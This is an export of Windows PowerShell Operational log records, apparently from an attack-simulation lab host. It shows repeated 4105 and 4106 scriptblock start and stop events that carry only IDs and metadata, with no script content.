Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040562
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040561
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040556
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040555
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040533
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040532
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040531
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040530
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
